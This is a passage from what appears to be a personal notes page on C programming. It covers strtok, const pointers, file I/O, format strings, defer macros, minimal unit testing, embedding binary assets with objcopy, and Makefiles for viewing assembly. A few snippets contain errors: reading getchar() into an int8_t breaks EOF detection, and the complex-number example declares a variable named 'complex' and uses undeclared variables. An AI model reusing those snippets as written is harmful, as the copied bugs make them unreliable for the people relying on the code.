    if (i == 0) {
        token = strtok(token, &quot; \n\t\r\v\f&quot;);
    } else {
        token = strtok(NULL, &quot; \n\t\r\v\f&quot;);
    }
    if (token == NULL) {
        break;
    }
    dyn_push(all_tokens, token); // Dynamic array from my own library.
}</code></pre>
                    <h4 id="reference">Reference</h4>
                    <pre><code>char *strtok(char *str, const char *delim);
char *strtok_r(char *str, const char *delim, char **saveptr);</code></pre>
                    <h3 id="about-const-and-pointers">About const and
                    pointers</h3>
                    <p>Here is an example of const pointers usage
                    depending on what do we want to make const, taken
                    from <a
                    href="https://eli.thegreenplace.net/2003/07/23/correct-usage-of-const-with-pointers">Correct
                    usage of const with pointers</a>:</p>
                    <pre><code>// Neither the data nor the pointer are const
char* ptr = &quot;just a string&quot;;

// Constant data, non-constant pointer
const char* ptr = &quot;just a string&quot;;

// Constant pointer, non-constant data
char* const ptr = &quot;just a string&quot;;

// Constant pointer, constant data
const char* const ptr = &quot;just a string&quot;;</code></pre>
                    <h3 id="io-with-stdio.h">IO with
                    <code>&lt;stdio.h&gt;</code></h3>
                    <ul>
                    <li>Don’t take the address or try to set manually a
                    FILE pointer. Some implementations rely on magic to
                    make them work.</li>
                    <li>After writing, call fseek(), fsetpos(),
                    rewind(), or fflush() before reading.</li>
                    <li>After reading, call fseek(), fsetpos(), or
                    rewind() before writing unless the file is at EOF: a
                    read that hits EOF can be followed immediately by a
                    write.</li>
                    </ul>
                    <h4 id="read-an-entire-file-into-memory">Read an
                    entire file into memory</h4>
                    <pre><code>char *
read_file(char *file_name) {
    FILE *file = fopen(file_name, &quot;r&quot;);
    if (!file) {
        fprintf(stderr, &quot;couldn&#39;t open file: %s\n&quot;, file_name);
        exit(-1);
    }

    fseek(file, 0, SEEK_END);          // Set file pointer to the end of file
    size_t file_size = ftell(file);    // Store the current position in file (in Bytes)
    fseek(file, 0, SEEK_SET);          // Set file pointer to beginning.
    char *str = malloc(file_size + 1); // Allocate memory for file.
    fread(str, 1, file_size, file);    // Copy 1 (Byte) * file_size from file into str.
    str[file_size] = 0;                // Set the null terminator.

    fclose(file);
    return str; // NOTE: We are returning a pointer, caller must free it!
}</code></pre>
                    <h4
                    id="copy-the-contents-of-a-file-into-another">Copy
                    the contents of a file into another</h4>
                    <pre><code>void
copy_file(FILE *in, FILE *out) {
    char buf[COPY_BUF_SIZE];
    int read = 0;
    while ((read = fread(buf, 1, sizeof(buf), in)) &gt; 0) {
        fwrite(buf, 1, read, out);
    }
}</code></pre>
                    <h4 id="extra-printfscanf-options">Extra
                    printf/scanf options</h4>
                    <pre><code>// Print 10 characters
printf(&quot;%.10s&quot;, string);

// Print n characters
printf(&quot;%.*s&quot;, n, string);

// Format a numeric value as hex with up to 4 leading zeros.
printf(&quot;0x%04x\n&quot;, number); // Lowercase
printf(&quot;0x%04X\n&quot;, number); // Uppercase

// Read 10 characters
scanf(&quot;%10s&quot;, input);

// Read 10 vowels using scansets
scanf(&quot;%10[aeiou]s&quot;, input);</code></pre>
                    <h4 id="read-characters-until-end-of-file">Read
                    characters until end of file</h4>
                    <pre><code>int8_t c;
while ((c = getchar()) != EOF) {
    // do stuff...
}</code></pre>
                    <h3 id="binary-shifts">Binary shifts</h3>
                    <p>We can create an M circular shift of an Nbit
                    unsigned integer by doing:</p>
                    <pre><code>uintN_t x = 1231215198;
uintN_t shift_M_left = (x &lt;&lt; M) | (x &gt;&gt; (N - M));
uintN_t shift_M_right = (x &gt;&gt; M) | (x &lt;&lt; (N - M));</code></pre>
                    <h3 id="defer-style-macros">Defer style macros</h3>
                    <p>These can be useful for profiling, UIs,
                    releaseing file handles and more:</p>
                    <div class="sourceCode" id="cb11"><pre
                    class="sourceCode c"><code class="sourceCode c"><span id="cb11-1"><a href="#cb11-1" aria-hidden="true" tabindex="-1"></a><span class="pp">#define macro_var</span><span class="op">(</span><span class="pp">name</span><span class="op">)</span><span class="pp"> concat</span><span class="op">(</span><span class="pp">name</span><span class="op">,</span><span class="pp"> __LINE__</span><span class="op">)</span></span>
<span id="cb11-2"><a href="#cb11-2" aria-hidden="true" tabindex="-1"></a><span class="pp">#define defer</span><span class="op">(</span><span class="pp">start</span><span class="op">,</span><span class="pp"> end</span><span class="op">)</span><span class="pp"> </span><span class="cf">for</span><span class="pp"> </span><span class="op">(</span><span class="pp">      </span><span class="op">\</span></span>
<span id="cb11-3"><a href="#cb11-3" aria-hidden="true" tabindex="-1"></a><span class="pp">    </span><span class="dt">int</span><span class="pp"> macro_var</span><span class="op">(</span><span class="pp">_i_</span><span class="op">)</span><span class="pp"> </span><span class="op">=</span><span class="pp"> </span><span class="op">(</span><span class="pp">start</span><span class="op">,</span><span class="pp"> </span><span class="dv">0</span><span class="op">);</span><span class="pp"> </span><span class="op">\</span></span>
<span id="cb11-4"><a href="#cb11-4" aria-hidden="true" tabindex="-1"></a><span class="pp">    </span><span class="op">!</span><span class="pp">macro_var</span><span class="op">(</span><span class="pp">_i_</span><span class="op">);</span><span class="pp">                 </span><span class="op">\</span></span>
<span id="cb11-5"><a href="#cb11-5" aria-hidden="true" tabindex="-1"></a><span class="pp">    </span><span class="op">(</span><span class="pp">macro_var</span><span class="op">(</span><span class="pp">_i_</span><span class="op">)</span><span class="pp"> </span><span class="op">+=</span><span class="pp"> </span><span class="dv">1</span><span class="op">),</span><span class="pp"> end</span><span class="op">)</span><span class="pp">      </span><span class="op">\</span></span>
<span id="cb11-6"><a href="#cb11-6" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-7"><a href="#cb11-7" aria-hidden="true" tabindex="-1"></a>defer<span class="op">(</span>begin<span class="op">(),</span> end<span class="op">())</span> <span class="op">{</span></span>
<span id="cb11-8"><a href="#cb11-8" aria-hidden="true" tabindex="-1"></a>    <span class="co">// ...</span></span>
<span id="cb11-9"><a href="#cb11-9" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb11-10"><a href="#cb11-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-11"><a href="#cb11-11" aria-hidden="true" tabindex="-1"></a><span class="pp">#define profile defer</span><span class="op">(</span><span class="pp">profile_begin</span><span class="op">(),</span><span class="pp"> profile_end</span><span class="op">())</span></span>
<span id="cb11-12"><a href="#cb11-12" aria-hidden="true" tabindex="-1"></a>profile <span class="op">{</span></span>
<span id="cb11-13"><a href="#cb11-13" aria-hidden="true" tabindex="-1"></a>    <span class="co">// ...</span></span>
<span id="cb11-14"><a href="#cb11-14" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb11-15"><a href="#cb11-15" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-16"><a href="#cb11-16" aria-hidden="true" tabindex="-1"></a><span class="pp">#define gui defer</span><span class="op">(</span><span class="pp">gui_begin</span><span class="op">(),</span><span class="pp"> gui_end</span><span class="op">())</span></span>
<span id="cb11-17"><a href="#cb11-17" aria-hidden="true" tabindex="-1"></a>gui <span class="op">{</span></span>
<span id="cb11-18"><a href="#cb11-18" aria-hidden="true" tabindex="-1"></a>    <span class="co">// ...</span></span>
<span id="cb11-19"><a href="#cb11-19" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb11-20"><a href="#cb11-20" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb11-21"><a href="#cb11-21" aria-hidden="true" tabindex="-1"></a>file_handle file <span class="op">=</span> file_open<span class="op">(</span>filename<span class="op">,</span> file_mode_read<span class="op">);</span></span>
<span id="cb11-22"><a href="#cb11-22" aria-hidden="true" tabindex="-1"></a>scope<span class="op">(</span>file_close<span class="op">(</span>file<span class="op">))</span> <span class="op">{</span></span>
<span id="cb11-23"><a href="#cb11-23" aria-hidden="true" tabindex="-1"></a>    <span class="co">// ...</span></span>
<span id="cb11-24"><a href="#cb11-24" aria-hidden="true" tabindex="-1"></a>    <span class="co">// File will be closed when the scope ends.</span></span>
<span id="cb11-25"><a href="#cb11-25" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
                    <h3
                    id="assertionstests-with-assert.h">Assertions/Tests
                    with <code>&lt;assert.h&gt;</code></h3>
                    <p>We can quickly create a minimal test suite using
                    asserts. If we want to display a message about the
                    test, we can do so with:</p>
                    <pre><code>assert(1 == 0 &amp;&amp; &quot;Message goes here&quot;);</code></pre>
                    <p>Assertions will be removed when compiled with
                    <code>-DNDEBUG</code> (They become
                    <code>NOPs</code>). They also call
                    <code>abort()</code>, which will dump the core if
                    possible for further debugging.</p>
                    <h3 id="complex-numbers-complex.h">Complex numbers
                    <code>&lt;complex.h&gt;</code></h3>
                    <p>We have support for complex numbers with the
                    <code>_Complex</code> values, but this header adds
                    some nice typedefs. Arithmetic, equality, assignment
                    and compoound assignment work with complex
                    numbers.</p>
                    <pre><code>double complex a = 2;   // 2 + 0i
double imaginary = 2;   // 2i
double complex = 6 * I; // 6i
d = a + b * c;
printf(&quot;%g + %gi\n&quot;, creal(d), cimag(d));</code></pre>
                    <h3 id="designated-initializers">Designated
                    initializers</h3>
                    <p>One of the main reasons for me to use C99. They
                    give a lot of utility for initializing structures
                    and arrays. You can even use these to pass pointers
                    to structs without creating a temporary. You can use
                    this also for arrays by specifying the desired
                    position.</p>
                    <pre><code>struct Foo {
    int a;
    int b;
    int c;
};

// Direct structure initialization. Not given fields will be zero initialized.
struct Foo foo = (struct Foo){.a = 1, .b = 2};

// Zero initialization except for index 3 and 7
int arr[10] = {[3] = 1, [7] = 2};

// Take address of temporary.
// void add_vectors(struct Vec3 *, struct Vec3 *)
add_vectors(&amp;(struct Vec3){.x = 2, .y = 3}, &amp;(struct Vec3){.x = 1, .y = 2});</code></pre>
                    <h3 id="flexible-array-members">Flexible Array
                    Members</h3>
                    <p>The last field in a structure can be a variable
                    array, for example if we have a packet structure
                    such as this:</p>
                    <pre><code>struct Packet {
    header h;
    data d[];
};</code></pre>
                    <p>We can allocate the memory for it as follows:</p>
                    <pre><code>Packet *p = malloc(sizeof(Packet) + n * sizeof(data));</code></pre>
                    <p>This solves potential issues with padding. If so,
                    <code>sizeof</code> will return the size of the
                    package up to but not including the data member
                    (Including padding).</p>
                    <h3 id="transform-endianness">Transform
                    endianness</h3>
                    <p>We don’t normally care about the endianness of
                    our processor. What we may actually want is to read
                    the bytes from a big/little endian encoded number
                    from a stream. We can use these functions (or
                    equivalent) to achieve this regardless of the
                    endianness of our processor:</p>
                    <pre><code>u32
big_endian_read(u8 *data) {
    return (data[3] &lt;&lt;  0) |
           (data[2] &lt;&lt;  8) |
           (data[1] &lt;&lt; 16) |
           (data[0] &lt;&lt; 24);
}

u32
little_endian_read(u8 *data) {
    return (data[0] &lt;&lt;  0) |
           (data[1] &lt;&lt;  8) |
           (data[2] &lt;&lt; 16) |
           (data[3] &lt;&lt; 24);
}</code></pre>
                    <p>You can read more about this in <a
                    href="https://commandcenter.blogspot.com/2012/04/byte-order-fallacy.html">“the
                    byte order fallacy”</a> article, by Rob Pike.</p>
                    <h2 id="minimalist-unit-testing-in-c">Minimalist
                    unit testing in C</h2>
                    <p>Unit testing in C can be done without a large
                    framework:</p>
                    <div class="sourceCode" id="cb18"><pre
                    class="sourceCode c"><code class="sourceCode c"><span id="cb18-1"><a href="#cb18-1" aria-hidden="true" tabindex="-1"></a><span class="co">// testlib.h</span></span>
<span id="cb18-2"><a href="#cb18-2" aria-hidden="true" tabindex="-1"></a><span class="pp">#define mu_assert</span><span class="op">(</span><span class="pp">message</span><span class="op">,</span><span class="pp"> test</span><span class="op">)</span><span class="pp"> </span><span class="cf">do</span><span class="pp"> </span><span class="op">{</span><span class="pp"> </span><span class="cf">if</span><span class="pp"> </span><span class="op">(!(</span><span class="pp">test</span><span class="op">))</span><span class="pp"> </span><span class="cf">return</span><span class="pp"> message</span><span class="op">;</span><span class="pp"> </span><span class="op">}</span><span class="pp"> </span><span class="cf">while</span><span class="pp"> </span><span class="op">(</span><span class="dv">0</span><span class="op">)</span></span>
<span id="cb18-3"><a href="#cb18-3" aria-hidden="true" tabindex="-1"></a><span class="pp">#define mu_run_test</span><span class="op">(</span><span class="pp">test</span><span class="op">)</span><span class="pp"> </span><span class="cf">do</span><span class="pp"> </span><span class="op">{</span><span class="pp"> </span><span class="dt">char</span><span class="pp"> </span><span class="op">*</span><span class="pp">message </span><span class="op">=</span><span class="pp"> test</span><span class="op">();</span><span class="pp"> tests_run</span><span class="op">++;</span><span class="pp"> </span><span class="op">\</span></span>
<span id="cb18-4"><a href="#cb18-4" aria-hidden="true" tabindex="-1"></a><span class="pp">                               </span><span class="cf">if</span><span class="pp"> </span><span class="op">(</span><span class="pp">message</span><span class="op">)</span><span class="pp"> </span><span class="cf">return</span><span class="pp"> message</span><span class="op">;</span><span class="pp"> </span><span class="op">}</span><span class="pp"> </span><span class="cf">while</span><span class="pp"> </span><span class="op">(</span><span class="dv">0</span><span class="op">)</span></span>
<span id="cb18-5"><a href="#cb18-5" aria-hidden="true" tabindex="-1"></a><span class="kw">extern</span> <span class="dt">int</span> tests_run<span class="op">;</span></span>
<span id="cb18-6"><a href="#cb18-6" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb18-7"><a href="#cb18-7" aria-hidden="true" tabindex="-1"></a><span class="co">// tests/example.c</span></span>
<span id="cb18-8"><a href="#cb18-8" aria-hidden="true" tabindex="-1"></a><span class="pp">#include </span><span class="im">&lt;stdio.h&gt;</span></span>
<span id="cb18-9"><a href="#cb18-9" aria-hidden="true" tabindex="-1"></a><span class="pp">#include </span><span class="im">&quot;testlib.h&quot;</span></span>
<span id="cb18-10"><a href="#cb18-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb18-11"><a href="#cb18-11" aria-hidden="true" tabindex="-1"></a><span class="dt">int</span> tests_run <span class="op">=</span> <span class="dv">0</span><span class="op">;</span></span>
<span id="cb18-12"><a href="#cb18-12" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb18-13"><a href="#cb18-13" aria-hidden="true" tabindex="-1"></a><span class="dt">int</span> foo <span class="op">=</span> <span class="dv">7</span><span class="op">;</span></span>
<span id="cb18-14"><a href="#cb18-14" aria-hidden="true" tabindex="-1"></a><span class="dt">int</span> bar <span class="op">=</span> <span class="dv">4</span><span class="op">;</span></span>
<span id="cb18-15"><a href="#cb18-15" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb18-16"><a href="#cb18-16" aria-hidden="true" tabindex="-1"></a><span class="dt">static</span> <span class="dt">char</span> <span class="op">*</span> test_foo<span class="op">()</span> <span class="op">{</span></span>
<span id="cb18-17"><a href="#cb18-17" aria-hidden="true" tabindex="-1"></a>    mu_assert<span class="op">(</span><span class="st">&quot;error, foo != 7&quot;</span><span class="op">,</span> foo <span class="op">==</span> <span class="dv">7</span><span class="op">);</span></span>
<span id="cb18-18"><a href="#cb18-18" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="dv">0</span><span class="op">;</span></span>
<span id="cb18-19"><a href="#cb18-19" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb18-20"><a href="#cb18-20" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb18-21"><a href="#cb18-21" aria-hidden="true" tabindex="-1"></a><span class="dt">static</span> <span class="dt">char</span> <span class="op">*</span> test_bar<span class="op">()</span> <span class="op">{</span></span>
<span id="cb18-22"><a href="#cb18-22" aria-hidden="true" tabindex="-1"></a>    mu_assert<span class="op">(</span><span class="st">&quot;error, bar != 5&quot;</span><span class="op">,</span> bar <span class="op">==</span> <span class="dv">5</span><span class="op">);</span></span>
<span id="cb18-23"><a href="#cb18-23" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="dv">0</span><span class="op">;</span></span>
<span id="cb18-24"><a href="#cb18-24" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb18-25"><a href="#cb18-25" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb18-26"><a href="#cb18-26" aria-hidden="true" tabindex="-1"></a><span class="dt">static</span> <span class="dt">char</span> <span class="op">*</span> all_tests<span class="op">()</span> <span class="op">{</span></span>
<span id="cb18-27"><a href="#cb18-27" aria-hidden="true" tabindex="-1"></a>    mu_run_test<span class="op">(</span>test_foo<span class="op">);</span></span>
<span id="cb18-28"><a href="#cb18-28" aria-hidden="true" tabindex="-1"></a>    mu_run_test<span class="op">(</span>test_bar<span class="op">);</span></span>
<span id="cb18-29"><a href="#cb18-29" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> <span class="dv">0</span><span class="op">;</span></span>
<span id="cb18-30"><a href="#cb18-30" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb18-31"><a href="#cb18-31" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb18-32"><a href="#cb18-32" aria-hidden="true" tabindex="-1"></a><span class="dt">int</span> main<span class="op">(</span><span class="dt">int</span> argc<span class="op">,</span> <span class="dt">char</span> <span class="op">**</span>argv<span class="op">)</span> <span class="op">{</span></span>
<span id="cb18-33"><a href="#cb18-33" aria-hidden="true" tabindex="-1"></a>    <span class="dt">char</span> <span class="op">*</span>result <span class="op">=</span> all_tests<span class="op">();</span></span>
<span id="cb18-34"><a href="#cb18-34" aria-hidden="true" tabindex="-1"></a>    <span class="cf">if</span> <span class="op">(</span>result <span class="op">!=</span> <span class="dv">0</span><span class="op">)</span> <span class="op">{</span></span>
<span id="cb18-35"><a href="#cb18-35" aria-hidden="true" tabindex="-1"></a>        printf<span class="op">(</span><span class="st">&quot;</span><span class="sc">%s\n</span><span class="st">&quot;</span><span class="op">,</span> result<span class="op">);</span></span>
<span id="cb18-36"><a href="#cb18-36" aria-hidden="true" tabindex="-1"></a>    <span class="op">}</span></span>
<span id="cb18-37"><a href="#cb18-37" aria-hidden="true" tabindex="-1"></a>    <span class="cf">else</span> <span class="op">{</span></span>
<span id="cb18-38"><a href="#cb18-38" aria-hidden="true" tabindex="-1"></a>        printf<span class="op">(</span><span class="st">&quot;ALL TESTS PASSED</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">);</span></span>
<span id="cb18-39"><a href="#cb18-39" aria-hidden="true" tabindex="-1"></a>    <span class="op">}</span></span>
<span id="cb18-40"><a href="#cb18-40" aria-hidden="true" tabindex="-1"></a>    printf<span class="op">(</span><span class="st">&quot;Tests run: </span><span class="sc">%d\n</span><span class="st">&quot;</span><span class="op">,</span> tests_run<span class="op">);</span></span>
<span id="cb18-41"><a href="#cb18-41" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb18-42"><a href="#cb18-42" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> result <span class="op">!=</span> <span class="dv">0</span><span class="op">;</span></span>
<span id="cb18-43"><a href="#cb18-43" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
                    <p>Source: <a
                    href="https://jera.com/techinfo/jtns/jtn002">JTN002
                    - MinUnit – a minimal unit testing framework for
                    C</a></p>
                    <h2
                    id="how-to-embed-binary-data-in-our-programs">How to
                    embed binary data in our programs</h2>
                    <p>It is common to want to embed data and assets in
                    our programs, particularly when we are working with
                    embedded systems without a filesystem. Having a good
                    asset pipeline is pretty essential and something I
                    neglected for a long time.</p>
                    <p>My previous workflow consisted on grabbing binary
                    files and converting them to a C source file that
                    looked like this:</p>
                    <pre><code>static const u32 font[] = {
    0x00000000, 0x00000000, 0x00002400, 0x423c0000,
    0x00002400, 0x3c420000, 0x0000363e, 0x3e1c0800,
    0x00081c3e, 0x3e1c0800, 0x001c1c3e, 0x363e081c,
    0x00081c3e, 0x3e3e081c, 0x00000018, 0x18000000,
    0x7e7e7e66, 0x667e7e7e, 0x00001824, 0x24180000,
    ...
};</code></pre>
                    <p>I wrote some <a
                    href="https://git.badd10de.dev/gba-dev-tools/tree/bin2carr">hacky
                    tools</a> to deal with this (and yes, I know there
                    are thousands of these kind of utilities available,
                    I just like to cook my own food ok?), but this is
                    far from an optimal solution.</p>
                    <p>I compile pretty much everything these days using
                    the ever-present <a
                    href="https://badd10de.dev/notes/makefiles.html">Makefiles</a>
                    and if we are compiling C code, you probably already
                    have installed all the tools you may need for this
                    purpose. We can use <code>objcopy</code> to generate
                    object files that can then be linked into your
                    executable, for example:</p>
                    <pre><code>objcopy -I binary -O elf32-little source.bin source.o</code></pre>
                    <p>Note that depending on your architecture you may
                    need to change this slightly. For example I need to
                    do the following to make it work on my ARM
                    systems:</p>
                    <pre><code>arm-none-eabi-objcopy -I binary -O elf32-littlearm source.bin source.o</code></pre>
                    <p>It’s also possible you may want to put the
                    embedded data in a different ELF section other than
                    <code>.data</code>, in which case you can use the
                    <code>--rename section</code> argument:</p>
                    <pre><code>objcopy -I binary -O elf32-little --rename-section .data=.rodata,alloc,load,readonly source.bin source.o</code></pre>
                    <p>Once you have your object files, it’s only a
                    matter of linking them together with the rest of
                    your code:</p>
                    <pre><code>gcc -o my_program my_program.c source.o</code></pre>
                    <p>If we put it all together on a Makefile, we can
                    have an <code>assets</code> folder where we will put
                    everything it should be linked together:</p>
                    <pre><code>.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
ASSETS_DIR  := assets
SRC_OBJ     := $(wildcard $(SRC_DIR)/*.c)
ASSETS_SRC  := $(wildcard $(ASSETS_DIR)/*.bin)
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))
ASSETS      := $(patsubst $(ASSETS_DIR)/%.bin, $(BUILD_DIR)/%.o, $(ASSETS_SRC))
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := hello-world
BIN    := $(BUILD_DIR)/$(TARGET)

# Main compilation tool paths.
CC       := gcc
LD       := ld
AS       := as
OBJDUMP  := objdump
OBJCOPY  := objcopy

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += $(INC_FLAGS)
LDFLAGS        :=
LDLIBS         :=
RELEASE_CFLAGS := -O2 -DNDEBUG
DEBUG_CFLAGS   := -O0 -DDEBUG -g

# Setup debug/release builds.
DEBUG ?= 0
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(BUILD_DIR) $(OBJECTS) $(ASSETS) $(BIN)

$(BIN): $(OBJECTS) $(ASSETS) | $(BUILD_DIR)
    $(CC) $(CFLAGS) $(LDFLAGS) -o $(BIN) $(OBJECTS) $(LDLIBS) $(ASSETS)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) $&lt; -o $@ -r

# Inference rules for binary file embedding.
$(BUILD_DIR)/%.o: $(ASSETS_DIR)/%.bin | $(BUILD_DIR)
    $(OBJCOPY) -I binary -O elf32-little $&lt; $@</code></pre>
                    <p>Ok you have the assets and your code bundled
                    together, but how do you use it? Well, we have to
                    take advantage of the <code>extern</code> keyword.
                    If we have embedded a file located at
                    <code>assets/source.bin</code>, your variable
                    declarations should look something like this:</p>
                    <pre><code>extern char _binary_assets_source_bin_start[];
extern char _binary_assets_source_bin_size[];</code></pre>
                    <p>To use it as an array, you would have to cast the
                    size to a <code>size_t</code> value:</p>
                    <pre><code>char *source_data = _binary_assets_source_bin_start;
size_t source_size = (size_t)_binary_assets_source_bin_size;</code></pre>
                    <p>If you can’t find the symbol name that was
                    generated by objcopy, you can use
                    <code>readelf</code> or <code>objdump</code> to
                    explore the symbol table:</p>
                    <pre><code>&gt; readelf -Ws build/source.o

Symbol table &#39;.symtab&#39; contains 4 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 00000000     0 NOTYPE  GLOBAL DEFAULT    1 _binary_assets_source_bin_start
     2: 00000150     0 NOTYPE  GLOBAL DEFAULT    1 _binary_assets_source_bin_end
     3: 00000150     0 NOTYPE  GLOBAL DEFAULT  ABS _binary_assets_source_bin_size</code></pre>
                    <p>The names can get a bit hairy to use, so using
                    macros for more descriptive names is not a terrible
                    idea:</p>
                    <pre><code>#define SOURCE_DATA _binary_assets_source_start
#define SOURCE_SIZE _binary_assets_source_size

extern s8 SOURCE_DATA[];
extern u8 SOURCE_SIZE[];</code></pre>
                    <p>Lately I’ve moved to use these cursed macros to
                    include raw binary files when possible, they can be
                    used outside functions and already setup the extern
                    variables for me. Nifty! I didn’t came up with this
                    idea, but just adapted it to suit my needs, check
                    the sources below for more info.</p>
                    <pre><code>#define BINARY(sect, file, sym) \
    asm (\
        &quot;.section &quot; #sect &quot;\n&quot;\
        &quot;.balign 4\n&quot;\
        &quot;.global &quot; #sym &quot;\n&quot;\
        #sym &quot;:\n&quot;\
        &quot;.incbin \&quot;&quot; file &quot;\&quot;\n&quot;\
        &quot;.global &quot; #sym &quot;_size\n&quot;\
        &quot;.set &quot; #sym &quot;_size, . - &quot; #sym &quot;\n&quot;\
        &quot;.balign 4\n&quot;\
        &quot;.section \&quot;.text\&quot;\n&quot;\
    );\
    extern const char sym[], sym##_size[]

#define BINARY_PARTIAL(sect, file, offset, size, sym) \
    asm (\
        &quot;.section &quot; #sect &quot;\n&quot;\
        &quot;.balign 4\n&quot;\
        &quot;.global &quot; #sym &quot;\n&quot;\
        #sym &quot;:\n&quot;\
        &quot;.incbin \&quot;&quot; file &quot;\&quot;,&quot; #offset &quot;,&quot; #size &quot;\n&quot;\
        &quot;.global &quot; #sym &quot;_size\n&quot;\
        &quot;.set &quot; #sym &quot;_size, . - &quot; #sym &quot;\n&quot;\
        &quot;.balign 4\n&quot;\
        &quot;.section \&quot;.text\&quot;\n&quot;\
    );\
    extern const char sym[], sym##_size[]</code></pre>
                    <ul>
                    <li>Source: <a
                    href="http://elm-chan.org/junk/32bit/binclude.html">How
                    to Embed Binary Data in Program Code</a></li>
                    <li>Source: <a
                    href="https://tratt.net/laurie/blog/2022/whats_the_most_portable_way_to_include_binary_blobs_in_an_executable.html">Portable
                    way of including binary on an executable?</a></li>
                    </ul>
                    <h2 id="how-to-explore-assembly-code">How to explore
                    assembly code</h2>
                    <p>There are tools like <a
                    href="https://godbolt.org/">Godbolt/Compiler
                    explorer</a> that allow us to look at the generated
                    assembly code for our files but on UNIX you probably
                    already have the necessary things if you have
                    installed your build-tools. This Makefile will
                    generate object files <code>.o</code>, partially
                    compiled assembly files <code>.s</code> and
                    dissasembled code using objdump <code>.dump</code>.
                    Just create an <code>src</code> directory, put your
                    source <code>.c</code> files there and run
                    <code>make</code>.</p>
                    <pre><code>.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
SRC_OBJ     := $(wildcard $(SRC_DIR)/*.c)
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))
ASM_FILES   := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.s, $(SRC_OBJ))
DUMP_FILES  := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.dump, $(SRC_OBJ))
WATCH_SRC   := $(shell find $(SRC_DIR) -name &quot;*.c&quot; -or -name &quot;*.s&quot; -or -name &quot;*.h&quot;)
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := compiler-explorer
BIN    := $(BUILD_DIR)/$(TARGET)

# Main compilation tool paths.
CC       := gcc
LD       := ld
AS       := as
OBJDUMP  := objdump

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += $(INC_FLAGS)
LDFLAGS        :=
LDLIBS         :=
RELEASE_CFLAGS := -O2 -DNDEBUG
DEBUG_CFLAGS   := -O0 -DDEBUG -g

# Setup debug/release builds.
DEBUG ?= 1
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(ASM_FILES) $(OBJECTS) $(DUMP_FILES)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) $&lt; -o $@ -r

# Inference rules for partially compiled assembly.
$(BUILD_DIR)/%.s: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) -S $&lt; -o $@ -r

$(BUILD_DIR)/%.dump: $(BUILD_DIR)/%.o | $(BUILD_DIR)
    $(OBJDUMP) -Mintel -d $&lt; &gt; $@</code></pre>
                    <p>For example the following file named
                    <code>src/math.c</code>:</p>
                    <pre><code>// src/math.c
int square(int num) {
    return num * num;
}</code></pre>
                    <p>Will generate the dump file
                    <code>build/math.dump</code>:</p>
                    <pre><code>build/math.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 &lt;square&gt;:
   0:   55                      push   rbp
   1:   48 89 e5                mov    rbp,rsp
   4:   89 7d fc                mov    DWORD PTR [rbp-0x4],edi
   7:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
   a:   0f af c0                imul   eax,eax
   d:   5d                      pop    rbp
   e:   c3                      ret</code></pre>
                    <p>And partially compiled assembly file
                    <code>build/math.s</code>:</p>
                    <pre><code>    .file   &quot;math.c&quot;
    .text
.Ltext0:
